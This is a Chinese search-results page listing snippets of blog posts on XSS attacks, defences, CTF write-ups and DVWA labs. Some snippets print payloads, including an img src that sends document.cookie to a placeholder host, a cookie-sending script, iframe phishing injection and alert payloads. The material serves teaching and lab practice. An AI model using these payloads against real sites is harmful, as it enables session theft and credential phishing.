首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏农夫安全

    XSS姿势——文件上传XSS

    0x01 简单介绍 一个文件上传点是执行XSS应用程序的绝佳机会。很多网站都有用户权限上传个人资料图片的上传点,你有很多机会找到相关漏洞。如果碰巧是一个self XSS,你可以看看这篇文章。 姿势一:文件名方式 文件名本身可能会反映在页面所以一个带有XSS命名的文件便可以起到攻击作用。 ? 虽然我没有准备靶场,但是你可以选择在W3Schools练习这种XSS 。 姿势三:Content 如果应用允许上传SVG格式的文件(其实就是一个图像类型的),那么带有以下content的文件可以被用来触发XSS: 一个 PoC用来验证。 但是他们之间,还有一个被标注的XSS变量用来防止图片被恢复为text/HTML MIME文件类型,因此只需发送一个对这个文件的请求payload 就可以被执行。 也有很多比较详细的使用XSS和图像文件相结合绕过图形处理函数库过滤的例子。

    3.9K20发布于 2018-07-26
  • 来自专栏张家辉的树屋

    了解 xss 和 防御 xss

    什么是xss? //使用“\”对特殊字符进行转义,除数字字母之外,小于127使用16进制“\xHH”的方式进行编码,大于用unicode(非常严格模式)。 复制代码 Test 代码 测试JavaScriptEncode值 <script>alert('1哈哈' /);</script> 参考: HtmlEncode和JavaScriptEncode(预防XSSXSS攻击的解决方法

    79030发布于 2021-02-02
  • 来自专栏m0w3n

    XSS

    一、XSS简介 什么是XSS   XSS全称(Cross Site Scripting)跨站脚本攻击,是最常见的web应用程序安全漏洞之一,位于OWASP top 10 2013年度第三名,XSS是指攻击者在网页中嵌入客户端脚本 而如今的互联网客户端脚本基本上是基于JavaScript,所以如果想要深入研究xss,必须要精通JavaScript。   xss换句话说,JavaScript能够到什么效果,xss的胃里就有多大。 如何挖掘xss   寻找脚本程序的输出显示代码,搜索关键字,显示输出那个变量,跟踪变量是否过滤。 二、xss的类型 (一)反射型xss或不持久型xss 实例1 <? 实例2 在线xss跨站网站:https://public-firing-range.appspot.com/ (二)存储型xss或持久型xss 实例1 与反射型xss相比,唯一的区别就是xss代码被带入数据 此时xss脚本已经存入数据库 ? 实例2 新建一个xss/index.php文件: <!

    2.1K10发布于 2020-02-28
  • 来自专栏河湾欢儿的专栏

    XSS

    有人将XSS攻击分为三种,分别是: Reflected XSS(基于反射的XSS攻击) Stored XSS(基于存储的XSS攻击) DOM-based or local XSS(基于DOM或本地的XSS 攻击) Reflected XSS 基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击。 cookie='+document.cookie</script> ```Stored XSS 基于存储的XSS攻击,是通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器,每个访问该帖子 #DOM-based or local XSS 基于DOM或本地的XSS攻击。 这种直接存在于页面,无须经过服务器返回就是基于本地的XSS攻击。 例子: 1. 提供一个免费的wifi。 1.

    1.7K10发布于 2018-09-06
  • 来自专栏网络安全【故里】

    xss

    ctfshow里面的xss刷题记录(有xss弹窗,建议若要点开请先关闭浏览器弹窗授权) web316 这道题先测试一下 图片 存在xss漏洞,毕竟是第一题,应该没有任何过滤,直接打cookie即可! XSS平台在这个平台里面 记录可用的姿势: img <script> var img=document.createElement("img"); img.src="http://ip/"+document.cookie 过滤img,用xss平台的实体十六进制编码 <iframe WIDTH=0 HEIGHT=0 srcdoc=。。。。。。。。。。 web327 储存型xss 图片 还用上一题的方法还是可! 图片 web328 图片 先注册一个用户 图片 盗取到cookie! ]XSS入门(佛系记录)_Y4tacker的博客-CSDN博客_ctfshow web入门xss

    1.3K30编辑于 2023-04-16
  • 来自专栏Gcow安全团队

    XSS模拟实战训练【XSS Challenges平台】

    文章源自【字节脉搏社区】-字节脉搏实验室 作者-whit 先放上网址:http://xss-quiz.int21h.jp 这是一个模仿真实xss挖洞的情景,在XSS Challenges练习过程中,我们需要用浏览器中的 百度style XSS,搜到一个知识点叫“行内样式的动态特性”(就是在ie下能在css中执行js代码) 我在ie下试了很久都不能复现,又百度,发现还有一种利用方法 background:url(javascript :alert('xss')); 还是不能复现,只能归结为ie版本太高的问题了。

    1.6K20发布于 2020-03-06
  • 来自专栏全栈程序员必看

    XSS漏洞介绍及反射型XSS

    什么是XSS攻击: XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。 XSS分类: 类型A,本地利用漏洞,这种漏洞存在于页面中客户端脚本自身。 当用户打开此含有XSS漏洞的页面,脚本运行。 XSS漏洞形成原因: 介绍完了XSS漏洞的基本含义。作为测试漏洞是否存在的一方,当然要知道如何去寻找漏洞。 1。首先寻找漏洞输入点,一般在客户端界面显示为留言板或查询接口等。 2。 则从XSS漏洞的发现到利用XSS反射型漏洞的大致过程就大体地演示完成。

    2.1K20编辑于 2022-08-23
  • 来自专栏字节脉搏实验室

    XSS模拟实战训练【XSS Challenges平台】

    文章源自【字节脉搏社区】-字节脉搏实验室 作者-whit 先放上网址:http://xss-quiz.int21h.jp 这是一个模仿真实xss挖洞的情景,在XSS Challenges练习过程中,我们需要用浏览器中的 百度style XSS,搜到一个知识点叫“行内样式的动态特性”(就是在ie下能在css中执行js代码) 我在ie下试了很久都不能复现,又百度,发现还有一种利用方法 background:url(javascript :alert('xss')); 还是不能复现,只能归结为ie版本太高的问题了。

    1.6K20发布于 2020-03-08
  • 来自专栏一名白帽的成长史

    XSS漏洞】浅析XSS脚本注入点

    Hello,各位小伙伴,依旧是晚上好~~ 今天跟大家分享的课题是,当我们进行XSS脚本注入时,在不同的注入点进行注入,会产生不同的结果,那么这到底是为什么呢?

    3.3K20发布于 2019-10-08
  • 来自专栏一名白帽的成长史

    XSS漏洞】利用XSS进行网页钓鱼

    利用XSS漏洞,我们可以在网页中插入恶意js代码,通过js代码,我们可以干很多事情,例如伪造一个登陆页面。 Part.4 插入恶意js脚本 插入恶意js脚本 Web页面以DVWA平台 存储型XSS为例,我们来插入一个恶意JS代码,代码构造如下: ? 通过插入iframe标签,让用户访问XSS漏洞页面时,自动访问攻击者服务器上的钓鱼页面fish.php,出现登陆弹窗。 选择low安全等级,打开dvwa XSS(stored)页面 : ? 在Name栏、Message栏均存在存储型XSS,在Message中输入上面的恶意代码,并提交,会发现有输入长度限制: ? Part.5 模拟用户访问 攻击流程 现在我们使用靶机来模拟一次攻击行为,使用用户主机访问low安全等级的dvwa XSS(stored)页面,因为impossible安全等级不存在XSS漏洞。

    4.9K20发布于 2019-10-08
  • 来自专栏coding个人笔记

    XSS攻击

    XSS叫做跨站脚本攻击,在很早之前这种攻击很常见,2010年数据统计的时候还是排名第二的web安全威胁。在从事前端之后,还没有见过哪个网站会被XSS攻击过,当然,也从来没去各个网站尝试过。 XSS可以分为三种类型: 反射型XSS(也叫非持久型):有些网页是通过地址传参,然后又把参数传递到页面,这种情况下,通过参数传递<script>... DOM XSS:通过一些不同场景,改变DOM的属性,注入<script>... 存储型XSS(也叫持久型):通过一些评论或者文章,发布之后存储到服务器,不同用户请求回来的都是这种脚本,这种攻击会一直存在,有很强的稳定性,因为是记录在数据库里面。 其实XSS攻击就是通过执行js代码,当然,通过什么方法注入到你的页面或者你触发这些方法就不一定了。觉着这个攻击了解了解就够了,到现在还没遇见需要对XSS进行处理的项目。 (完)

    1.2K20发布于 2020-04-23
  • 来自专栏cultureSun学安全

    XSS练习

    推荐一个XSS在线练习小网站,一共13关。 https://xss.haozi.me 以下是题解 0x00 <script>alert(1);</script> 0x01 </textarea><script>alert(1);</script

    51230编辑于 2023-05-18
  • 来自专栏啄木鸟软件测试

    XSS注入

    XSS注入分类 XSS注入可以分为三类,“反射型XSS”“存储型XSS”和“DOM型XSS”。 1)反射型XSS(Non-Persistent XSS) 反射型XSS只是简单地把用户输入的数据反射给浏览器,黑客需要诱使用户点击链接。 反射型XSS也叫“非持久型XSS” 上一节中的注入就属于反射型XSS。 2)存储型XSS(Persistent XSS) 存储型XSS把用户输入的数据“存储”在服务器或客户端。 XSS会话挟持 如果将上面XSS PayLoad的alert(/XSS/)改为alert(document.cookie),看看会发现什么样的情况。代码如下。 XSS蠕虫 XSS蠕虫是一种危害最大的XSS注入PayLoad,通过AJAX技术使成千上万的网民中招,曾经在百度等各大网站上都发生过。如图2所示。 ?

    2.6K31发布于 2020-06-01
  • 来自专栏一名白帽的成长史

    XSS】利用XSS窃取用户Cookie

    Hello,各位小伙伴周六愉快 晃眼之间一周又快要过去了,时间是不等人 今天我们来看看怎么利用XSS窃取用户cookie吧。 Part.1 概述 实验概述 实验拓扑: ? XSS的用途之一就是窃取用户的cookie,攻击者利用XSS在网页中插入恶意脚本,一旦用户访问该网页,cookie就会自动地发送到攻击者的服务器中去。 Part.3 利用XSS盗取Cookie XSS利用 web页面以DVWA平台 存储型XSS为例,我们来插入一个恶意JS代码。 构造如下js代码: ? 选择low安全等级,打开dvwa XSS(stored)页面 : ? 在Name栏、Message栏均存在存储型XSS,在Message中输入上面的恶意代码,并提交,会发现有输入长度限制: ?

    6.8K42发布于 2019-10-08
  • 来自专栏我的博客

    xss攻击

    xss攻击简介: XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。 故将跨站脚本攻击缩写为XSSXSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。 攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被骇客用来编写危害性更大的phishing攻击而变得广为人知。

    1.3K60发布于 2018-05-07
  • 来自专栏进击的君君的前端之路

    XSS漏洞

    1、XSS简介 作为一种HTML注入攻击,XSS攻击的核心思想就是在HTML页面中注入恶意代码,而XSS采用的注入方式是非常巧妙的。 二、XSS攻击的分类 根据XSS脚本注入方式的不同,我们可以对XSS攻击进行简单的分类。其中,最常见的就数反射型XSS和存储型XSS了。 1.反射型XSS 反 射型XSS,又称非持久型XSS。 之所以称为反射型XSS,则是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式“反射”回来 的。而称为非持久型XSS,则是因为这种攻击方式具有一次性。 这就是反射型XSS攻击的原理,可以看到,攻击者巧妙地通过反射型XSS的攻 击方式,达到了在受害者的浏览器上执行脚本的目的。 2.存储型XSS 存储型XSS,又称持久型XSS,他和反射型XSS最大的不同就是,攻击脚本将被永久地存放在目标服务器的数据库和 文件中。

    1K40发布于 2018-06-28
  • 来自专栏Pycharm

    XSS攻击

    XSS攻击XSS(Cross Site Script)攻击又叫做跨站脚本攻击。 他的原理是用户在使用具有XSS漏洞的网站的时候,向这个网站提交一些恶意的代码,当用户在访问这个网站的某个页面的时候,这个恶意的代码就会被执行,从而来破坏网页的结构,获取用户的隐私信息等。 XSS攻击场景:比如A网站有一个发布帖子的入口,如果用户在提交数据的时候,提交了一段js代码比如:<script>alert("hello world");</script>,然后A网站在渲染这个帖子的时候 XSS攻击防御:如果不需要显示一些富文本,那么在渲染用户提交的数据的时候,直接进行转义就可以了。在Django的模板中默认就是转义的。

    90930编辑于 2022-07-06
  • 来自专栏渗透云笔记

    XSS基础

    XSS基础 XSS大家一定不陌生,上章咱们就用到XSS来抓取token,XSS到底是什么呢? 这里给大家从基础开始讲解 XSS概述 XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器 执行,达到攻击的目的。 XSS的分类 ? ? ,当然我们的存储型测试也是一样的 存储型XSS 允许用户储存数据的web应用,都有可能出现存储型XSS。 存储型XSS挖掘同上,这个是dz3.2的一个存储型XSS. DOM型XSS都是在前台实现 与反射型XSS、存储型XSS的区别就在于xss代码并不需要服务器解析响应的直接参与,触发XSS靠的是浏览器端的DOM解析。 什么是DOM ? ?

    66310发布于 2019-08-13
  • 来自专栏Khan安全团队

    PyScript XSS

    <py-script> print('\74img/src/onerror\75alert(1)\76') </py-script>

    52640编辑于 2022-05-17
  • 来自专栏奔跑的人生

    XSS漏洞

    跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息 坚决不要相信任何用户输入并过滤所有特殊字符。这样既可消灭绝大部分的XSS攻击。 要记住,XSS漏洞极具破坏性,一旦被利用,它会给你的事业带来极大的损害。攻击者会将这些漏洞公之于众,这会在用户隐私的问题上大大降低你的 网站的用户信赖度。 第一步: 锁定目标 当你找到某个Web程序存在XSS漏洞之后,检查一下它是否设置了cookie。如果在该网站的任何地方设置了cookie,那么就可以从用户那里盗取它。 第二步: 测试 不同的攻击方式将产生不同的XSS漏洞,所以应适当进行测试以使得输出结果看起来像是正常的。某些恶意脚本插入之后会破坏输出的页面。 下一步你需要在链接至包含XSS漏洞的页面的URL中插入 Javascript(或其他客户端脚本)。下面列出了一些经常用于测试XSS漏洞的链接。

    1.1K10发布于 2019-09-11
领券